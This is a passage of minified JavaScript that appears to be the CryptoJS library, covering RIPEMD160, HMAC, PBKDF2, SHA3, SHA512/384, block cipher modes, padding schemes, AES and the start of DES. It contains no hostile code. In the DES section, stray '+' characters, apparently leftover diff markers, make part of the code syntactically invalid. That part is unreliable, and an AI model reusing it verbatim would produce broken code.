15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 